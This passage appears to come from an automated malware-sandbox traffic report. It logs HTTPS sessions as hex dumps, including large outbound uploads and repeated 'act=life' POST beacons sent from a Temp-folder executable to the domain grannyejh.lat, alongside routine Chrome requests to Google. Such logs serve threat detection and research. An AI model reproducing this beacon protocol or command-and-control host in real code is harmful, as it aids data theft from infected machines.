vyn7K_TR^`R^4h5+j~/~\|tCE)hi()c^-G!giC~0>No~?JdSd[);PpM.[)55~\KbORI!\|$#j_;pJRRUJ6+9C\|QD?o^f5x
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: cc 6c 31 8f 75 3f b2 69 6c 1c 2a 2e 4d 38 7e bd 37 e6 01 4d 7e a5 4d d2 2f 73 3a a0 87 11 a2 4c 89 4a d0 12 af 92 80 b5 c8 55 5b 05 0b be 89 07 a4 fd d7 48 1c ff 12 80 6e 01 5e 42 64 9f dd 10 d1 19 86 9d a8 ba fb be c8 55 a5 c4 ed 0d 04 4f 22 23 f2 2a c7 cb 3a 76 66 1c 37 2f 07 45 a0 76 66 1e c3 14 ac ae 23 fd f4 75 16 63 2e 54 11 9e 7d 9a cf 15 06 f5 f3 7f 17 11 e5 88 fd e7 44 98 af aa ad f0 54 82 d8 70 b3 eb 8c 08 98 6a 83 52 94 80 d2 2d e3 f6 5f 78 35 a1 05 01 32 86 8d 75 20 8e 21 14 d9 c1 c3 f3 cd 7c cf 67 a9 1a fb 29 83 55 f4 ac cc fa ad 44 d8 2c 00 1f 57 15 26 32 20 05 58 0d 2d 30 57 6a f0 75 e2 6d 5c 94 18 78 6d 44 68 43 a5 3f e4 3e 3c ab c2 70 41 30 b6 6b fd 12 fe f2 e7 cc f0 78 fd 3a b7 30 fc 41 43 20 c9 b6 65 f7 af 55 da e7 67 2d 65 de 57 fd b6 Data Ascii: l1u?il.M8~7M~M/s:LJU[Hn^BdUO"#:vf7/Evf#uc.T}DTpjR-_x52u !\|g)UD,W&2 X-0Wjum\xmDhC?><pA0kx:0AC eUg-eW
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: 54 ba bf 9b 27 b3 af 10 29 89 f8 53 95 3e 69 d9 48 1c aa c9 29 70 49 fa 7f d2 5f 07 f4 77 15 bc fb ff b9 13 72 33 95 7e 1f 7c d3 60 e3 2e 47 89 da d1 a8 84 ed 45 64 72 39 4a da d7 67 77 fd ad 80 b8 cc 56 11 be cb 55 b5 e5 22 ee c6 99 a8 14 df bf 7d e2 fd 74 40 ef 90 d5 9f ff eb 1c 88 75 ad c8 13 e2 55 5c 8e e5 0f 87 97 48 c6 0f 5f 7b 61 ee ff 16 af ef 94 06 5d d0 64 31 04 50 33 85 4b bc d2 8b b7 4d 27 d6 f8 b6 b4 dd 82 56 54 fd 53 54 4c 7b d2 38 4c 9f bd 08 ae 9d 0c 44 a8 8c 85 2d d7 65 2d 20 2d cb c1 e8 da 3b d1 fb 2a 0c 29 d4 4b 15 46 da 52 9c 97 16 53 11 d5 c3 f7 33 5a 19 39 cf 14 e3 2f cb 87 d2 ee d5 1e ac 48 aa 7d 24 75 a7 c7 cb df 16 5a 9c e0 3c 9b 4e 1a d1 9d df 85 db 06 7e f5 93 10 64 df d5 1f 37 98 a7 f6 6c 76 52 8e ec 42 37 e5 68 91 95 46 aa 02 Data Ascii: T')S>iH)pI_wr3~\|`.GEdr9JgwVU"}t@uU\H_{a]d1P3KM'VTSTL{8LD-e- -;*)KFRS3Z9/H}$uZ<N~d7lvRB7hF
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: 87 33 f8 65 bf cc f9 4b ff f4 68 2d 24 1d e7 23 f1 0a 9b 49 5d 55 c6 ab 1d 14 d8 44 22 8e b0 60 ff 15 6c 23 6c 3b f8 e1 2e 05 c1 90 60 22 fb 91 f5 cf 54 09 ac b7 48 6d 03 96 0d 20 6e f6 42 8d 81 63 22 a4 c0 48 c5 ca dd a1 5f 9b 50 ab 11 c9 d3 74 e2 e8 8e 1f 36 e1 9c e5 54 1b 04 7f 9a e7 a7 85 95 19 76 95 4e 5e 45 67 d9 1b 6e 7f 99 12 af 6c bd 33 89 76 46 81 b7 f1 f7 55 eb c0 52 76 eb c0 fa 50 7a 58 26 a0 27 45 68 c7 85 b7 6d 04 69 92 ab c7 f1 ec 38 6f 60 2e 0a ba 4d b9 bb 58 61 34 de eb 8f e7 56 57 e7 0a 1e e7 65 bc 03 84 eb ac a2 8c b2 af d3 19 8b 94 fc 49 e0 bc ce d8 98 fb 8b 96 2e 0b a2 05 44 85 2d 25 57 0e 3c 10 e5 ea 95 fc e5 ad b1 fc a6 69 fd 9f 7d 37 fe e3 25 fd 2c 67 61 fb 1f d8 25 06 9e 7d 90 36 5b dc bf 62 57 12 fa 7d 8d 3d f3 28 28 ff 63 dc 13 Data Ascii: 3eKh-$#I]UD"`l#l;.`"THm nBc"H_Pt6TvN^Egnl3vFURvPzX&'Ehmi8o`.MXa4VWeI.D-%W<i}7%,ga%}6[bW}=((c
2024-12-18 16:08:55 UTC	1046	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s3kuhojku107l3ja1nfbt3gdai; expires=Sun, 13-Apr-2025 09:55:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=chP3OvVXtIdFsLXEqsGWRUJJUyY9cttCiuStoxgUlvOw%2Bm%2FEX03fSCyabh57DaY2TerWknNcfeflgfMomTWfrW3CYZDjHq9rXsimrZ7N9o0qo87GFNoqSKSuHb5PJnac2dzFlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4069ebaf9cf5f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1719&rtt_var=649&sent=345&recv=600&lost=0&retrans=0&sent_bytes=2841&recv_bytes=567753&delivery_rate=1698662&cwnd=237&unsent_bytes=0&cid=fa4e45377bb884c2&ts=6285&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49859	172.67.179.109	443	7188	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:55 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 16:08:55 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 16:09:00 UTC	1031	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ses22in1csid87b5gs0csc8pa3; expires=Sun, 13-Apr-2025 09:55:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JuZG0rRnwnL5gwIXESnJAHXF9TchrK2enhra%2FGnVu7aPRnVD8hNVm4p%2FsB%2BPe%2FUVxsuDztKICRwU4q8Cy2yn07vSZGgx8lU7E10T9cWDjs8lTyHsGBwDthKnIpjAvYhQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406a131ee8de96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1646&rtt_var=657&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1616832&cwnd=224&unsent_bytes=0&cid=17ec3ffc037d1890&ts=5395&x=0"
2024-12-18 16:09:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 16:09:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49877	172.67.179.109	443	2008	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:02 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 16:09:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 16:09:04 UTC	1024	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oijiqvn29v2bsk3qoem9o3497v; expires=Sun, 13-Apr-2025 09:55:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QTDjzAuxB7HrF49LafrsvijQmJjLi17s9CswIhae3UKeeHtpHyZ2w6XLg5QiY62jCmxZteHWHbB0uZcdzjJSd%2B40N8gMPE04PO36FuWXVxNc3nSHhhO8Tw9YDcPiD97y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406a410d9e0f43-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1851&min_rtt=1762&rtt_var=724&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1657207&cwnd=32&unsent_bytes=0&cid=427c9e10986686f4&ts=2038&x=0"
2024-12-18 16:09:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 16:09:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49891	142.250.181.132	443	6216	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:06 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 16:09:06 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:06 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-hsrI_wr38IeERDodftXHBw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-18 16:09:06 UTC	124	IN	Data Raw: 34 33 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 6f 6f 6b 69 6e 67 20 77 69 74 68 20 6b 79 61 22 2c 22 6d 69 6c 74 6f 6e 20 68 69 67 68 20 73 63 68 6f 6f 6c 20 66 6f 6f 74 62 61 6c 6c 20 63 68 61 6d 70 69 6f 6e 73 68 69 70 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 64 65 63 65 6d 62 65 72 20 31 38 22 2c 22 74 69 6b 74 6f 6b 20 62 61 6e 6e 65 64 22 2c 22 68 6f 6e 64 Data Ascii: 438)]}'["",["cooking with kya","milton high school football championship","nyt strands december 18","tiktok banned","hond
2024-12-18 16:09:06 UTC	963	IN	Data Raw: 61 20 70 72 65 6c 75 64 65 20 68 79 62 72 69 64 20 63 6f 75 70 65 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 6d 73 63 73 20 73 75 70 65 72 69 6e 74 65 6e 64 65 6e 74 20 6d 61 72 69 65 20 66 65 61 67 69 6e 73 22 2c 22 6e 65 77 20 79 6f 72 6b 20 72 61 6e 67 65 72 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 Data Ascii: a prelude hybrid coupe","weather forecast snow storm","mscs superintendent marie feagins","new york rangers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","goog
2024-12-18 16:09:06 UTC	1390	IN	Data Raw: 39 33 62 0d 0a 4a 6b 63 55 4a 74 56 58 49 32 52 32 46 50 4e 6b 64 6e 4f 58 45 76 4f 58 4e 6e 53 6b 34 34 56 47 46 4b 51 6b 6c 32 61 45 77 32 62 32 4e 47 51 58 4a 4f 4d 6c 6b 7a 54 55 56 4f 63 6b 5a 68 65 54 67 72 63 48 46 71 65 45 68 73 51 31 6b 32 52 6c 5a 70 55 57 6c 69 65 54 5a 46 4e 56 67 33 5a 6d 31 4c 56 6b 77 7a 4d 7a 42 68 55 46 5a 69 65 6a 4d 78 65 6e 5a 51 56 58 5a 31 57 6d 59 79 4d 44 46 4e 55 43 39 77 5a 55 35 43 4b 31 63 77 4c 32 5a 6f 63 47 5a 59 62 45 55 76 56 79 39 30 54 6b 5a 49 63 6d 5a 59 62 46 68 6e 4c 30 4a 30 65 58 5a 57 4f 45 64 34 5a 47 52 45 4c 33 42 34 59 6d 74 73 57 45 5a 5a 4f 54 6c 59 62 45 39 73 4f 54 64 77 65 55 56 57 4d 47 4e 53 54 32 70 6c 4e 30 56 31 64 56 5a 45 53 7a 4e 6e 52 45 74 4a 63 46 6c 58 56 6c 46 6b 53 6c 45 76 Data Ascii: 93bJkcUJtVXI2R2FPNkdnOXEvOXNnSk44VGFKQkl2aEw2b2NGQXJOMlkzTUVOckZheTgrcHFqeEhsQ1k2RlZpUWlieTZFNVg3Zm1LVkwzMzBhUFZiejMxenZQVXZ1WmYyMDFNUC9wZU5CK1cwL2ZocGZYbEUvVy90TkZIcmZYbFhnL0J0eXZWOEd4ZGREL3B4YmtsWEZZOTlYbE9sOTdweUVWMGNST2plN0V1dVZESzNnREtJcFlXVlFkSlEv
2024-12-18 16:09:06 UTC	980	IN	Data Raw: 42 56 47 78 50 59 6c 5a 6f 57 47 74 76 59 6e 4a 6c 62 43 74 57 64 44 52 43 55 56 42 58 55 30 6c 74 61 6d 4e 75 52 57 74 6f 5a 31 70 55 52 45 35 30 51 55 68 53 4f 58 4e 6c 5a 30 4a 35 56 55 5a 46 52 30 64 36 63 6e 4a 47 4e 46 64 52 62 57 6c 42 61 6e 4a 33 65 44 5a 6a 4d 56 46 70 53 32 39 4e 57 46 46 48 52 33 70 73 52 30 70 35 54 47 6f 30 4e 7a 4e 42 4d 45 52 5a 57 47 31 32 57 56 68 72 56 6b 78 43 57 6b 4d 78 62 6b 49 77 5a 44 63 72 57 55 6c 42 52 6d 39 4b 62 54 46 49 63 44 46 70 55 6d 70 57 4c 30 52 76 63 30 51 30 4e 45 4a 44 52 48 4a 4c 55 6c 70 6a 55 6c 46 73 51 32 68 68 63 47 70 45 4d 45 4a 73 4d 6a 5a 72 4f 45 70 74 51 32 70 72 52 57 68 73 59 6a 4d 77 4e 46 42 44 61 6e 51 7a 5a 30 68 76 54 55 35 6f 65 58 52 6d 55 47 74 53 56 6c 6c 69 4d 6d 77 33 63 32 Data Ascii: BVGxPYlZoWGtvYnJlbCtWdDRCUVBXU0ltamNuRWtoZ1pURE50QUhSOXNlZ0J5VUZFR0d6cnJGNFdRbWlBanJ3eDZjMVFpS29NWFFHR3psR0p5TGo0NzNBMERZWG12WVhrVkxCWkMxbkIwZDcrWUlBRm9KbTFIcDFpUmpWL0Rvc0Q0NEJDRHJLUlpjUlFsQ2hhcGpEMEJsMjZrOEptQ2prRWhsYjMwNFBDanQzZ0hvTU5oeXRmUGtSVlliMmw3c2
2024-12-18 16:09:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49890	142.250.181.132	443	6216	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:06 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49892	142.250.181.132	443	6216	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:06 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 16:09:06 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 18 Dec 2024 16:09:06 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-18 16:09:06 UTC	372	IN	Data Raw: 31 38 32 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1826)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-18 16:09:06 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-18 16:09:06 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-18 16:09:06 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-18 16:09:06 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
